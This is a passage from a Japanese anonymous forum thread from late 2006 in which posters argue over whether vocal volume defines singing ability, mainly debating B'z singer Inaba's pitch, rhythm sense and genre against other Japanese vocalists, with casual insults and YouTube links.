歌唱力≒声量っていうけどやっぱ歌唱力=声量じゃない?
あんま邦楽板で洋楽の話はあんましたくないけどとりあえず例え
Helloweenのキスクが歌ったEagle Fly FreeやJudas Priestのロブが歌ったPainkiller
も全部ハイロングトーンが評価されて(曲がいいってのもあるが)キスクやロブは歌うまいって評判だし
これは主観だけどこっちでもハイロングトーンが評価されるべきだと思うんだよね
あとは高音の連発がどれほどできるかかな?Steelheartのボーカル(ミハエルだったかな?)も高音連発でかなりの評価されてたし
興味あったらShe's goneの音源聴いてね

よーするに言いたかったのはハイロングトーンや高音を連発するには地声の高さもあるかもしれないけど
やっぱ声量がないとそれは実現しない

249 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 20:20:03 ID:UpCIp/uy
>>247
お前の負けだよ。見てて苦しすぎる(^^)

250 :名無しのエリー:2006/12/28(木) 20:25:06 ID:4tYipVlH
いくら声量があっても音程弱いから稲葉はトップではないだろ。

251 :名無しのエリー:2006/12/28(木) 20:37:42 ID:+NgrH4Dc
ホイミンwwwww
氏ねwwwwwwwwwww

252 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 20:42:58 ID:UpCIp/uy
いや〜ハハ。まったく過激派のファンばかりで困る(^^)


253 :名無しのエリー:2006/12/28(木) 20:51:02 ID:U7hM7NOG
>>246
十分関係ある
リズム感ってのが歌唱力の定義のひとつにある(一部の馬鹿は開き直りか定義は曖昧だとほざいてるけど)
これはライブを行うボーカリストとして欠かせない者。

例えば稲葉以外のボーカリストがあんなにクネクネしながらあれだけの高音の歌を歌ったとしよう
とても聞けるもんじゃない。リズム感がどれだけ重要なのかを知らない客から見たら
「こいつ高校生ボーカリストの延長戦じゃん」って思われても仕方ないくらいひどくなる。
それを稲葉はどんな激しい動きをしてもどんなもうダッシュでステージを走っても
全く乱れないというリズム感を備えている。



254 :名無しのエリー:2006/12/28(木) 20:53:32 ID:gh3IzaTE
どんなに歌唱力があっても、聴いてる方が「ふ〜ん・・・」だったら
どうにもなるまい。

255 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 20:56:23 ID:XyH8f8aJ
反論できないと逃げるのね稲葉ヲタは

256 :名無しのエリー:2006/12/28(木) 20:57:37 ID:U7hM7NOG
>>248
稲葉には人見ほどじゃないが
HR/HMボーカリストとして十分過ぎる程の声量はありますが。
最高音はhihiC
マイクレスでドームに声をマイク入れてるときとさほど変わらない
程響かせることが出来る声量
中々の安定感に稲葉最大の武器といわれてるリズム感
有名だが英語の発音も完璧で外人とも普通にしゃべれる
肺活量も世界屈指の8000cc
ドームを歌いながら1週した後何十秒にわたる超高音シャウトも可能
表現力も凶器てきで2chの鬱病に大人気

257 :名無しのエリー:2006/12/28(木) 20:59:31 ID:ahUqPJNB
>>253はバカなの?

258 :名無しのエリー:2006/12/28(木) 21:01:05 ID:U7hM7NOG
>>247

>重点の移動に従属して定義が変化すると言ってるんだけど、分かる?
俺の言う定義に声域、声量などが含まれないなんて一言も言ってないんだけど何か勘違いしてない?

ごめん、分からない。
何で重点の移動に従属して定義が変化するの?
意味不明。
そんなこといってるのチャンネラーいやお前だけなんだって
歌唱力って単語は確かに造語だけどもう辞書に入っても可笑しくない単語だし
世界的に定義もちゃんとついてるしね。
「俺のいう定義」って何?お前の主観で決めたんでしょ?
もう歌唱力の定義に主観は通じないよ?

>>255
意味不明。俺の質問に全く答えないで論点ずらしまくった馬鹿はどっちだっけ。

259 :名無しのエリー:2006/12/28(木) 21:02:24 ID:+NgrH4Dc
稲葉オタもホイミン並の痛さに近づいてるな



むしろ超えた?wwww

260 :名無しのエリー:2006/12/28(木) 21:03:56 ID:NR5FWJ+L
>>256
多分勘違いしてるから言っとくけどオレは稲葉が声量ないなんて言ってないぞ。いや正確には書いてないぞ。か
スレタイ読んでくれ

261 :名無しのエリー:2006/12/28(木) 21:04:02 ID:U7hM7NOG
>>248
つかむしろ閣下が声量少し足りないと思うんだけど
高音は稲葉以上
でも低音は稲葉未満
実際主観だけど

音域
稲葉>閣下>人見
声量
人見>稲葉>閣下
安定感
人見>稲葉>閣下
表現力
閣下>稲葉>人見
リズム感
稲葉>人見>閣下

なんか異論あるんだったら理由つきて書き換えてほしいわ

>>257
問題でも見つけたなら抜粋して提示してくれよ。

262 :名無しのエリー:2006/12/28(木) 21:04:51 ID:U7hM7NOG
>>260
いや違うこれはコピペだ

263 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 21:06:24 ID:XyH8f8aJ
>>258
君はさっきから声量、声域、クネクネなどの事しか言ってないわけだけど、それはそっちの方に重点が傾いている証拠ではないのかな?
論点をずらしているのではなく、君が理解できない事を観点を変えて話しているんだよ。

264 :名無しのエリー:2006/12/28(木) 21:06:28 ID:U7hM7NOG
>>260
>議論スレってもしかして稲葉ヲタが稲葉を無理やり上げてたあのスレじゃないよね?

じゃあ稲葉には閣下以上の実力はないと思うの?
なんで?

265 :名無しのエリー:2006/12/28(木) 21:08:48 ID:NR5FWJ+L
>>262
レスアンカーもじゃないだろう

あんま敵視しないでくれ稲葉も人見も閣下も好きだからさ
B'z(稲葉ソロ含む)のCD7枚ぐらい持ってるし、VOW WOWのCDも5枚、聖飢魔UのCDも5枚持ってるしさ

266 :名無しのエリー:2006/12/28(木) 21:09:11 ID:U7hM7NOG
>>263

声量声域リズム感が
「歌唱力」の(定義)の中で稲葉が最も長けているところだから
その長けているところを提示しているだけで
重点が傾いてるとか意味がわからない。
そもそも「歌唱力」の重点が何なのかを陳述しほしいんだけど。

267 :名無しのエリー:2006/12/28(木) 21:10:07 ID:+NgrH4Dc
>>256
過去レスにあるようにこことお前の考えは違うんだから無理矢理自分の考え押し付けずに受け入れろよ

268 :名無しのエリー:2006/12/28(木) 21:10:19 ID:U7hM7NOG
>>265

ごめんこういうスタイルなの
レスアンカーは俺がつけたよw

269 :名無しのエリー:2006/12/28(木) 21:12:08 ID:U7hM7NOG
>>267
ここの考えが馬鹿な俺にはわからない。
説明してくれよ
まさかみんな>>1の釣り文に従ってるの?

270 :名無しのエリー:2006/12/28(木) 21:13:08 ID:wio8vQne
>>253
うんだから、それってパフォーマンスの問題じゃないの?

例えば分かりやすくするために、仮に歌唱力を100点満点で評価するとするわ。
で、静止してれば100点なんだけど、激しく動くと80点になっちゃうアーティストがいたとして、
彼がそういう自分の性質を自覚していたり、曲調の関係で激しく動く必要のない人物だったりして
静止して歌っていれば、「動いても100点」の奴と同等なわけじゃん。
例えば激しいロックじゃなくて、しっとりと聞かせる系のバラードの人とか、ファンクの人とか、ボサノバの人とかね。
言いたい事伝わるかなあ。

もし>>253の言いたい事が「いや、動いて100点の奴は、静止したらもっと凄くなって120点になるんだ」っていう事なら、
あくまでも静止した時の、その120点の歌唱力の凄さを正面から主張すべきでしょ。
結局「クネクネしてるときの歌の凄さ」は問題じゃなくなっちゃうわけで。

271 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 21:16:50 ID:UpCIp/uy
>>263
>重点の移動に従属して定義が変化すると言ってるんだけど
>俺の言う定義に声域、声量などが含まれないなんて一言も言ってないんだけど

いやコレは普通に意味わかんねえぞ(^^)?
結局、声域、声量も条件に含まれてる以上バランス変化は起きてもそのものの定義は変わってない(^^)
詳しく説明してよ(^^)


272 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 21:20:24 ID:XyH8f8aJ
>>266
どうすれば分かって貰えるのか悩むよ。
じゃあとりあえず、前に挙げられてる飛鳥、久保田、玉置に共通して言える事は分かる?

273 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 21:22:51 ID:UpCIp/uy
>>270
どうでもいいちゃ〜どうでもいい
100人乗っても大丈夫みて〜な売り文句だろうな。そりゃ(^^)

274 :名無しのエリー:2006/12/28(木) 21:24:42 ID:+NgrH4Dc
>>269
>>1-

275 :名無しのエリー:2006/12/28(木) 21:39:09 ID:NR5FWJ+L
あとオレから理由つきで言わせてもらうと
音域は閣下と稲葉は紙一重で閣下のほうが上
たしか閣下はソロで最低音lowF、稲葉が最低音lowGだった。それと傷心がhihiCって言われてるけど正確にはhihiB♯
ただなぜかhihiB♯は存在しなく繰上げでhihiCであるから(同様にhiC♯やhiF♯等は存在するがhiB♯だけは存在しない)
まぁほんとになぜかなんだよね。これじゃあ理由になってないからスルーしてもらってもかまわんよ
あと不思議な第3惑星を聴いてるとやっぱリズム感は人見と閣下は逆。
ただマグマや稲葉ソロを聞いてると閣下より稲葉のほうが表現力はあると思うけど…

276 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 21:45:29 ID:UpCIp/uy
スキを作った名無しのときはあんなに責めてくれたのにw(^^)
な〜んでシカトすっかな〜?起きてる?えんぺらちゃん(^^)
定義の変化ってなぁに?(^^)クスクス

277 :名無しのエリー:2006/12/28(木) 21:45:49 ID:xlrNNJZd
祭りに乗り遅れた><

278 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 21:55:47 ID:UpCIp/uy
あ、つ〜かヤベェ今気付いた>>273スゲェこれ(^^)
単純に蛇足な押し文句だって言いたかった物置の例えだけどイナバじゃん(^^)
うははヤベェ超冴えてる。天然でコレだからやっぱキレてんな僕ちんってばwww(^^)
笑いが止まんねえwwww(^^)


279 :名無しのエリー:2006/12/28(木) 21:59:10 ID:U7hM7NOG
YoICySwH

そういやこいつどこ行っちゃったの?
アンチんなかで一番がんばってたよね

>>275
リズム感は正直微妙だったけどライブ映像見る限り人見>閣下にしてた
でも閣下>人見だったっぽいね
稲葉の表現は欝に大人気なんだけどなー
実際どうなんだろ


280 :名無しのエリー:2006/12/28(木) 22:09:40 ID:ahUqPJNB
>>279
もういいよ
わかったから他でヤレ

281 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 22:17:21 ID:XyH8f8aJ
やっぱり逃げた

282 :名無しのエリー:2006/12/28(木) 22:22:24 ID:+NgrH4Dc













283 :名無しのエリー:2006/12/28(木) 22:27:11 ID:U7hM7NOG
>>270

うーんリズム感をパフォーマンスだなんていわれてもねえ
リズム感が売りの久保田や桑田はどうなるわけ?

CDの音源だと100パーのアーがライブだと50になるように
稲葉の場合CDの音源が100パーなのにライブの音源は120パーなんだよね
なんで20追加されるのかといえば稲葉の圧倒的なリズム感のおかげ。
普通のアーだとライブでCDの音源通り歌うのは無理だからね。
必ず乱れる。でも稲葉はそれを走っても回ってもじゃんぷしても乱れない
たとえCD通りにライブでも歌えたとしてもそのボーカリストはリズムを完璧に取り揃えられてるとあ
いえないよね?そもそもボーカリストの歌唱力はライブで普通はかるもんなんだから
そもそも稲葉は元ダンスユニット(仮にB'z)のボーカリストだったんだから
やっぱリズム感が重点に置かれてたわけね


ああもうあくきんうっぜえええええうぇ

284 :名無しのエリー:2006/12/28(木) 22:27:58 ID:U7hM7NOG
>>281

お前受けでも狙ってるの?

285 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 22:36:53 ID:XyH8f8aJ
>>284
教授してもらっている立場で何様かな?
君は前に挙げられてる飛鳥、久保田、玉置に共通するものが分かるのか?と聞いてるんだけど

286 :名無しのエリー:2006/12/28(木) 22:39:47 ID:+NgrH4Dc
>>284
お前薬でもやってんの?

287 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 22:40:25 ID:UpCIp/uy
あ〜あwww(^^)

288 :名無しのエリー:2006/12/28(木) 22:42:55 ID:ahUqPJNB
もうどうでもよくね

な?ホイミン?

289 :名無しのエリー:2006/12/28(木) 22:44:23 ID:+NgrH4Dc
B'zは好きだがキモヲタは正直ウザイ

290 :ホイミン ◆pH0CLR/WHs :2006/12/28(木) 22:45:11 ID:UpCIp/uy
最初っからどうでもいいんですけど(^^)

お前らこの稲葉ヲタに負けてんじゃんw(^^)


291 :名無しのエリー:2006/12/28(木) 22:57:55 ID:ahUqPJNB
>>290
ホイミンが助けてくれないから稲葉ヲタが調子のったんじゃないか!どう責任とってくれる!

292 :名無しのエリー:2006/12/28(木) 23:01:28 ID:U7hM7NOG
>>285
俺が受ける気がないと「教授」の意は成立しないよ?
かってに教えるのは拷問の意に近い。
で、ポップ
で、なんで>>276には応答しないの?

>>274
要するにお前らは>>1の釣り文に従ってるわけなの?

293 :えんぺら ◆mFuuMYcpQ2 :2006/12/28(木) 23:32:05 ID:XyH8f8aJ
>>292
…まあいいや。
彼等には並外れた表現力があるんだよ。
歌詞の一語一語に注目しこまかなアクセント、微妙な流れ(ニュアンス)の変化をつけ意味を持たせてる。
ある程度の技術とこの力があって立派な歌唱力の持ち主だと判断できる。
最初の書き込みにある、井上もそう。
稲葉は君の言うように確かな技術はあるよ。
でも表現力があるとはとても言えない。
これがスティーヴン・タイラーの歌との大きな違い。
いや、技術主義の考えでもいいと思うけどこのスレにはそぐわないんじゃない?


ちなみに>>276は見えてないから勘弁

294 :名無しのエリー:2006/12/28(木) 23:33:35 ID:E/4SudC2
稲葉はホットパンツだけでいいよw

295 :名無しのエリー:2006/12/28(木) 23:39:55 ID:U7hM7NOG
>>293
お前はソロ聞いたことあるの?
B'zはね、松本の売りが表現力だから表現は松本、そのギターに上乗せるように稲葉は歌ってるんだよ
だからB'zじゃあまり稲葉の表現は取れない。

ならソロ聞けって
暗く凶器感のこもった曲や
少年犯罪を上手く表現した曲などいろいろある。

井上、久保田、飛鳥はどっちかって言えば未来や自然を託した明るい表現法
稲葉は全くその逆。
まぁ世間一般は97、8(ちょうど一般的に欝が広がった時代)を除いて
明るい曲のが圧倒的人気なんだからさ
お前が稲葉より井上や飛鳥のが表現の意味が凄いっていうのも無理ないけど
これこそまさに好みなんだよ

296 :名無しのエリー:2006/12/28(木) 23:42:53 ID:U7hM7NOG
井上の曲は飛鳥でも歌える。
歌いこなせないだろうけど
井上の曲はカラオケでも違和感無く歌える

稲ソロの曲は正直誰にも歌えない。
歌詞を発声するくらいしかできない。
稲ソロの曲はカラオケで歌ったら違和感ありすぎる
現にB'zなんてウルソやオーシャン、あいままくらいしか知らない
やつにイナソロ歌ったらなんかお前が歌うと気持ち悪い曲だねとまで
言われてしまったんだから

297 :名無しのエリー:2006/12/28(木) 23:46:06 ID:uXpu9kHk
ホイミン>>293に何したんだよw

298 :名無しのエリー:2006/12/29(金) 00:26:08 ID:p8uSurBF
松本のピロピロのどこに表現があるのか僕には理解できない。

299 :名無しのエリー:2006/12/29(金) 00:37:35 ID:U7hIpShY
>>298
http://www.youtube.com/watch?v=eEL_spAoqrw
http://www.youtube.com/watch?v=VtauAT4KE54
http://www.youtube.com/watch?v=6SudPQ_5lZI
http://www.youtube.com/watch?v=EiQ5NlgRKs8

300 :名無しのエリー:2006/12/29(金) 01:46:57 ID:OufEbArm
稲葉は踊りながら〜ってのはさバックの演奏がかなりガイドになってる曲でしょ、それじゃリズム感がいいことの証明にはならないよ。

301 :名無しのエリー:2006/12/29(金) 03:59:26 ID:wsKe+hOh
>>300
バックのリズムに合わせて歌えるのはリズム感がいいとは言わないの?
ジャズやボサノバの要素が入った曲からギリギリchopのようなテンポの曲まで歌えて「リズム感が無い」とは言えんのじゃないかね


302 :名無しのエリー:2006/12/29(金) 04:11:58 ID:OufEbArm
>>301
>バックのリズムに合わせて歌えるのはリズム感がいいとは言わないの?
だからガイドが多かったらできて当たり前なんだってば、できてない人も多いけど。

>ジャズやボサノバの要素が入った曲からギリギリchopのようなテンポの曲まで歌えて「リズム感が無い」とは言えんのじゃないかね
リズム感がないなんて言ってないけど、売りにできるほどあるとは言えんって意味ね。
これは聴いてないから知らんが、曲にジャズやボサの要素が入ってても
ビートを8ビートと同じように感じて歌うんならただ単にテンポが違う曲を歌ってるだけだよ。

303 :270:2006/12/29(金) 11:24:21 ID:KIrAdp/Z
>>283
久保田は激しく動いて歌わないじゃん。
リズム感がパフォーマンスだって言ってるんじゃなくて、
クネクネしても歌えるっていうのは、パフォーマンスの問題ではあるけど、それってリズム感の問題なの?ってこと。
例えば基礎体力の問題だって言うのなら分かる。息があがっちゃって歌えなくなる人はいるから。
稲葉は体力はあるんだろうね。
でもそれじゃ、体力がないから大人しく歌う人=リズム感がないって事なの?っていう話じゃん。
小野リサはリズム感に欠けるのかっていうと、全然そんな事ないでしょ?
前にも書いたけど、リズム感がある事の証拠として
クネクネ踊って歌う事を出すのはおかしいんじゃない?って言ってるだけ。

なんか>>283の書き込みは、「ライブで歌う事」と「激しく動いて歌う事」が混同されてて
申し訳ないんだけど、主張したい事が良く理解できない。
だから誤読しているかもしれないんだけれども。

304 :名無しのエリー:2006/12/29(金) 12:15:55 ID:U7hIpShY
>>303
もし久保田が動きながら歌っても乱れもなく歌えるよ
これは断言できる。だって曲を聴く限りかなりのリズム感を持ってるもん久保田
ちょっとやそっとの事じゃたぶん乱れない
ただ稲葉は肺活量が8000ccもあって世界屈指であるからゆえに
あれほど動いてるけどね。

おとなしく歌っても難しい曲や速い曲歌うときはリズム感出るよ。例えば久保田

いやさじゃあさ例えばだよ?
よく競馬であることらしいんだけど
レースし終わった馬がさらに自分の体力が続く限りレースが終わってるのにも
関わらずほかの馬や客に自分の体力がここまであるんだってことを極限まで走り続けるんだよ
普通の馬は疲れ果ててるのにも関わらずね
稲葉も一緒で極限まで自分のリズム感をライブで披露してるんだよ
例えば稲葉も久保田ももともと100のリズム感を持っていたとしたら
久保田は相当リズムの難しい曲歌わないと100も出せない。
出せて70〜80くらい。稲葉も同様曲だけの上乗せして歌った70〜68くらいまでの
曲までしか出せない。でもライブで稲葉はそれを覆すように
リズムの早い曲を歌いつつも超高音の歌を歌いつつもものすごい激しい動きでリズムにのって
曲を歌ってるわけ。正直100をとおりこして
120%のリズム感出してるといえる

さっきあげた馬だけど。ほかの馬が疲れ果てて走り終わってる後自分はまだ出来ると
何週したら、それは競走馬としての評価も高くなるし、何より「凄い」

で、前に言い訳みたいなレスがあって
「凄いだけであって歌は上手くない」ってのあったけど
歌唱力は凄い=上手いだからこれは空く前も言い訳にしかならない。

305 :名無しのエリー:2006/12/29(金) 12:17:30 ID:U7hIpShY
でもやっぱり久保田は確かにリズム感はあるけど
世間一般に分かるほどの強烈なリズム感はないよね?

稲葉は誰が見てもわかるようなリズム感を備えているからね。

第一やっぱ歌唱力なんてのはライブで測るもんだからね
CDとかの音源じゃリズム感もおろか、歌唱力で最も大事と言われてる声量も測れないよ
それにやっぱ安定感も微妙なものだし。
実際ライブ行ってみないとね、蛇足だけど




306 :名無しのエリー:2006/12/29(金) 12:20:19 ID:NidI/A3P
>>305
けど音程弱いじゃん

307 :名無しのエリー:2006/12/29(金) 12:25:17 ID:U7hIpShY
http://www.youtube.com/watch?v=uZli3CW2Sns
http://www.youtube.com/watch?v=oW11vB-QL7g

とりあえずこれ2本みて稲葉はリズム感がないといえるかな?

308 :名無しのエリー:2006/12/29(金) 12:26:04 ID:U7hIpShY
>>306
ううん、HR/HMのボーカリストとして十分すぎるほどの
音程は持ってるよ

309 :名無しのエリー:2006/12/29(金) 12:27:23 ID:U7hIpShY
まぁ確かにMステの映像は96〜99を除いてヲタでも普通に認めるくらいひどいものがおおい
歌詞間違い、音感滅茶苦茶、声でてない、等

310 :名無しのエリー:2006/12/29(金) 12:32:31 ID:NidI/A3P
>>308
HR/HMじゃないだろB'zは

311 :名無しのエリー:2006/12/29(金) 12:35:20 ID:U7hIpShY
>>310

HRだよ。
知らないのに稲葉否定してんのかよw

312 :名無しのエリー:2006/12/29(金) 12:37:56 ID:NidI/A3P
>>311
HRって洋楽でいうとKISSとかエアロスミスとかのことを言うんだろ?
B'zの曲は演奏が前面にでてるだけで、本質はPOPのような気がするんだが。

313 :名無しのエリー:2006/12/29(金) 12:39:32 ID:U7hIpShY
>>312
99年に路線変更してHRになったの
それが売上が落ちた一番の原因とも言われてる
オリコンの位置はかわってないけどね

どうでも良いけど稲葉はHR/HMボーカリスト。
ちゃんと調べてから否定しろよw

314 :名無しのエリー:2006/12/29(金) 12:46:12 ID:NidI/A3P
>>313
俺は今のB'zを見てPOPだと思ってるんだけど。

まあ抜群に声量があっても、肺活量がやばくても、音程ずれてるんだから歌唱力抜群とは言えないだろ?

315 :名無しのエリー:2006/12/29(金) 12:48:03 ID:U7hIpShY
>>314
だからずれてないっつのw
むしろ全然ある。
ユーチューブにライブの映像転がってるんだから見ればいいじゃんw
ヲタでも違和感感じてるのはMステの映像とか。去年の愛爆はひどすぎた
素人でもわかるくらい。

つかMONSTERがポップかよw

316 :名無しのエリー:2006/12/29(金) 12:49:38 ID:U7hIpShY
エアロだってポップ曲多いよ

ALL OUT ATACKがポップかよw

317 :名無しのエリー:2006/12/29(金) 12:52:38 ID:NidI/A3P
>>315
例えばの話だけど、衝動のサビ
僕に(も) 誰か(を) 愛せる(と) その手(を) 重ね(て) 知らせ(て)

ライブ映像見た感じだと()のなかがよくずれてる。CDと比べてかなり声も出てないし。

318 :名無しのエリー:2006/12/29(金) 12:57:46 ID:KIrAdp/Z
うーん、なんか話が噛み合ってないような。
俺が歌唱力を「歌」(表に表現されて出てくるもの)だけから判断しようとしてるのに対して、
>>304は歌唱力をポテンシャル(歌手が潜在的に秘めてるもの)から計ろうとしてるから噛み合わないのかなあ。
ポテンシャルの話になっちゃうと、100出す人100出さない人出て来ちゃうから、
(例えば久保田は仮に激しく動いても乱れないに違いない、とか、
アイツが本気を出せばあんなもんじゃない、とか、主観的な憶測の話になっちゃう)
あんまり比較してどういう言える世界じゃなくなっちゃうと思うんだけれども。

多分基本的な捉え方の違いに基づく食い違いなんだろうなと思った。

319 :名無しのエリー:2006/12/29(金) 12:58:58 ID:U7hIpShY
え?DVD買ったの?確かにこの前のMステは多少ずれてると思ったけど
ライブじゃ神だと思ったけどねえ

つか個性と稲葉の歌い方もあるからそこがなまるだけあろ

320 :名無しのエリー:2006/12/29(金) 13:01:38 ID:NidI/A3P
>>319
あれを個性じゃなくてへたってるだけ。

321 :名無しのエリー:2006/12/29(金) 13:04:47 ID:D+h+TR/v
ライブはCDより普通に歌唱力発揮してる
ユーチューブに衝動のライブ動画ないしw




322 :名無しのエリー:2006/12/29(金) 13:19:44 ID:p8uSurBF
B'zがHR………
盲目ヲタ出たよこれ

323 :名無しのエリー:2006/12/29(金) 13:23:45 ID:IPPFTH1x
つーか、なんで歌唱力の話しで稲葉だけが特筆されてるんだ?
稲葉なんて音楽シーンにあまた出てきたプロ歌手の一人に過ぎないんだが
あ、基地外稲ヲタが毎日粘着してひとりで暴れてるだけかw
で、理詰めで来るのかと思ったら最終的に「動画見ろ」だってwwwww
仕事しろ 学生だったら勉強しろ
全くコミュニケーションとれてないぞ

324 :名無しのエリー:2006/12/29(金) 13:27:13 ID:PTOMwHAZ
>>322
HR>POPだと思ってる?

325 :名無しのエリー:2006/12/29(金) 13:30:32 ID:E6gU7UTf
B'zがHRといっても世間はHRだとは思わないよ
ラルクがV系じゃないといっても世間はV系だと思ってるのと一緒さ

326 :名無しのエリー:2006/12/29(金) 13:33:14 ID:PTOMwHAZ
HRかどうかなんて、このスレではどうでもよくない?
B'zは世間的にはHRじゃないだろうけど、唱法的にHRシンガーと比べやすいってのは
あるだろうし

327 :名無しのエリー:2006/12/29(金) 13:33:22 ID:p8uSurBF
>>324
は?何言ってんのお前


頭大丈夫?

328 :名無しのエリー:2006/12/29(金) 13:41:55 ID:PTOMwHAZ
>>327
いや、思ってないのならいいんだ

329 :名無しのエリー:2006/12/29(金) 14:55:19 ID:A5mEDMcP
あの提案なんですが
冬休みが終るまでこのスレはお休みしてはどうでしょうか?

330 :名無しのエリー:2006/12/29(金) 15:10:32 ID:PTOMwHAZ
いちおうスレの趣旨に沿って書いてみると、個人的に歌を聴いてて気になるのは  
1)音程 2)リズム感 3)声量 の順
リズムが気持ちよくはまってれば昔ほど厳密な音程にはこだわらなくなった
このスレのお題は 「歌唱力≒声量」いうことだけどこれはジャンルにも依るよね
バンド系ならバックの声に負けていたら話にならないから声量が最重要かもしれないし

このスレざっとみて出てきた歌手の中で音程に関して言えば玉置がいちばん安定してる
あとは、稲葉、デーモン、飛鳥、久保田、この辺そんなに差がないような気がする
ちなみに微妙な音程のずれが気になってきけなかったのが
昔の小柳ゆき(最近見たら上手くなってた)、ハモり時のゴスペラーズあたり
リズムは久保田が頭一つ抜けてるかなあ
TUBE前田は16で歌ってるところが想像できない
ずんちゃっちゃ

331 :名無しのエリー:2006/12/29(金) 15:12:06 ID:PTOMwHAZ
>>329
失礼
でも難しいと思うよ

332 :名無しのエリー:2006/12/29(金) 15:22:13 ID:U7hIpShY
>>322

何言ってんだお前w
お前のその文からすると
HR>>>>>POPだけどww
現にB'zはBrotherhoodというアルバムとともにHR路線に変更したんだよ
現にHR板行って見ろよ
誰が見ても今のB'zはHR

>>320
で、お前はライブDVD買ったの?
いっとくけどyoutubeに衝動のライブ動画は乗ってないよ?

333 :名無しのエリー:2006/12/29(金) 15:24:35 ID:U7hIpShY
>>323

これが稲葉アンチ

>理詰めで来るのかと思ったら最終的に「動画見ろ」だって

かってな思い込みをして期待裏切られたからって反抗期の餓鬼のように
自分の凶意度を示唆させてんじゃねーよ屑。
所詮いくら理詰めしても軽いあおりで流されるようなら動画見せたほうが早いだろーが


334 :名無しのエリー:2006/12/29(金) 15:28:14 ID:U7hIpShY
>>318
主観じゃ無いんだな。
例を出せば100メートル走れるやつが50メートル走れるってのと一緒なんだよ
これ別に主観じゃないよね?
それに君はhttp://www.youtube.com/watch?v=uZli3CW2Snsを見てどう思うの?実際
体力があるからとか言い訳にしか聞こえないからリズム感だけを見てさ
あと蛇足だけどリズム感ってのは歌唱法のひとつとして重大な役割を果たしてるからね


つかそもそも稲葉や人見や閣下みたいなギターの演奏が激しいバンドやユニットのボーカリストが
個人の名前を冠にしてる井上や久保田を比べるのがおかしい


335 :名無しのエリー:2006/12/29(金) 15:30:17 ID:U7hIpShY
つかB’zをHRというより
稲葉がHRボーカリストなんだよ
多少御幣はあるけど
まぁそこら辺はこんなところで議論しても全くの論点違いになって
また馬鹿なB’zアンチが乱入してきてとても議論できなくなるからやめとこう


336 :名無しのエリー:2006/12/29(金) 15:33:01 ID:U7hIpShY
>>323
お前昨日思いっきり論破された逃げたYoICySwHでしょ?
ID変わるまで待ってたの?
いくらID変わっても君くらいだよ?
動画も見ないで、根拠はMステと断言して稲葉否定してる馬鹿アンチ


337 :名無しのエリー:2006/12/29(金) 15:34:40 ID:U7hIpShY
まぁ稲葉アンチなんて動画なんて見てないでしょ?
唯2chの偽造情報を変にかき集めて
適当に稲葉たたいてるだけでしょ?
>>320
みたいな?(クス

338 :名無しのエリー:2006/12/29(金) 15:38:24 ID:l3O30i7l
耳栓と目隠しをして誇らしげに車運転しているアフォがいるスレはここですか?

339 :名無しのエリー:2006/12/29(金) 15:39:21 ID:D+h+TR/v
>>338
君でしょ?(^_^)

340 :名無しのエリー:2006/12/29(金) 15:45:45 ID:D+h+TR/v
>>323
(゜ー゜;;;;;;;;)



341 :名無しのエリー:2006/12/29(金) 15:48:01 ID:p8uSurBF
>>332
在日ですか
そうですか

B'zがHRとか言ってることに対するレスを勝手にPOPとHRを比較してるレスだと妄想できる基地害B'zヲタは在日ですか

342 :名無しのエリー:2006/12/29(金) 15:56:14 ID:U7hIpShY
>>341
B'zはHRよりポップって意見が多いから
単純にポップと比較したまで

え?じゃあ聞くけどB'zがHRじゃなかったら何なの?
所詮「ポップ」って言うよね?お前
>>312みたいなwwwww

343 :名無しのエリー:2006/12/29(金) 15:59:20 ID:PTOMwHAZ
稲葉は音感はわりとしっかりしてるし、音程が弱いとは思わない
思わないけどフレーズの入りとか終わりで処理がおなざりになってることあるから
>>317の指してるのはその辺じゃないだろうか
基本的に8ビートの人だと思ってるから16ビートはどうだろ、検証できる曲ないと判断できないけど
ここ本来は歌唱力検証スレじゃなくて、歌唱力とは何かを語るスレなんだっけか


344 :名無しのエリー:2006/12/29(金) 16:00:12 ID:p8uSurBF
>>342
音的にどう考えても歌謡曲ですが何か?

345 :名無しのエリー:2006/12/29(金) 16:05:30 ID:U7hIpShY
>>344
嘲笑いwwwwwwwwwwww
音的←具体的に^3^

346 :名無しのエリー:2006/12/29(金) 16:19:53 ID:p8uSurBF
>>445
ここでお前の得意技










動画見ろwwwww

347 :名無しのエリー:2006/12/29(金) 16:24:57 ID:l3O30i7l
>>335

348 :名無しのエリー:2006/12/29(金) 16:28:51 ID:PTOMwHAZ
youtubeって便利だよね
岩崎宏美改めてみると若いときから激上手い

349 :名無しのエリー:2006/12/29(金) 16:29:09 ID:U7hIpShY
>>346

^^;

350 :名無しのエリー:2006/12/29(金) 16:31:17 ID:KIrAdp/Z
>>334
>例を出せば100メートル走れるやつが50メートル走れるってのと一緒なんだよ
>これ別に主観じゃないよね?

いやだから、それぞれのアーティストが
何mくらい走れるポテンシャル持ってるのかって話になると主観でしょ。
稲葉が100mだとして、久保田は200m走れるかもしれない、50mかもしれない。
その判断は結局憶測にならざるを得ないじゃない。

映像見てるよ。稲葉にリズム感があるっていうのは分かってる。別にないなんて一言も言ってないし。
でも他のアーティストに比べて突出してるかって言うと…うーーん。。
クネクネ踊る事がリズム感の話に係わるとはどうしても思えないから、そこまでとは思わんなあ。
あと言っておくけど、別に俺はアンチじゃないよ。
稲葉の声というか歌い方って、舌足らずでクリアじゃないからあんまり好きじゃないけど、
それは好きずきだしね。

>あと蛇足だけどリズム感ってのは歌唱法のひとつとして重大な役割を果たしてるからね

「歌唱法」が「歌唱力」って意味なら、分かってる。それは否定してないじゃん。
繰り返すようだけど、クネクネ踊りながらでも歌えるのはリズム感の問題なの?って聞いてるんだもの。

351 :名無しのエリー:2006/12/29(金) 16:38:50 ID:l3O30i7l
もしやこの稲葉信者=昨日の信者を真似たホイミン?

ホイミンやるな
釣りは楽しいか?

352 :名無しのエリー:2006/12/29(金) 16:41:38 ID:PTOMwHAZ
リズム感じゃなくて腹筋によるホールド力とかの問題かと
